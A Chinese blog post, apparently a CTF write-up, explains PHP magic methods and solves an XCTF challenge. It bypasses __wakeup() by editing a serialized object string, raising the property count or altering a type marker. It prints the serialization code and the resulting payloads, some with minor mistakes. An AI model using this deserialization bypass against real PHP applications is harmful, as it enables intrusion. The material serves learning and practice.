魔法函数是什么神仙玩意?
对于一个编程从出门到劝退的网络安全爱好者来说看代码是件很苦逼的事(很多函数都需要baidu一下).

_invoke()

这个其实很简单只是当对象名当函数来用时,调用_invoke()。

class Test{
function __invoke()
{
var_dump("当显示这段话时,是把对象当做方法来用");
}
}
$test = new Test();//实例化一个对象
$test();//将对象当做方法来使用

引用一下其他博主写的代码,很清楚的表明了test被实例化后将自己作为函数,它所含值就是_dump。

_sleep() _wakeup()

这里的函数是本文的关键。
_sleep():在对象序列化(serialize())后php就是调用这个函数,此函数可以清除对象现有的值并且返回对象中所有变量名称的数组,而没有返回任何数据。null会被序列化发生E_NOTICE的错误
_wakeup():在对象反序列化(unserialize())时被调用,它用于重新建立数据库连接,或初始化操作提前准备对象数据。

class xctf{
public $flag='111';
public function _wakeup(){
exit('bad requests');
}
?code=
}

对于这道题,第一点可以看出在网页后面加上?code=以及后面的值flag才会出现
题目中看_wakeup()说明当对象反序列化后我们得到的只会是bad requests,这里要绕过。
查看大佬的提示:将序列化字符串中代表变量个数的数字大于其真实值的数字,以及变量的属性与真实属性不一样时时会绕过_wakeup()。

所以。。。

class xctf{
public $flag='111';
}
$a =new xctf();
echo(serialize($a));

在线进行php编程,将题目中的xctf中值进行序列化
得到的序列化数组:O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}
将这里得到的数组改一下就好了
payload:O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;} | O:4:”xctf”:1:{s:4:”flag”;i:3:”111”;}

ps:o表示对象,a表示数组,s表示字符,i表示数字其后数字表示个数



随笔      ctf

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!